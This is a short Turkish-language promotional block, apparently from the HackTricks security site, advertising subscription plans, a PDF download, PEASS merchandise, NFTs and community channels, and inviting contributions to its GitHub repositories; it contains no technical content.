- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini alın
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuzu keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da takip edin 🐦 @hacktricks_live.
- Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.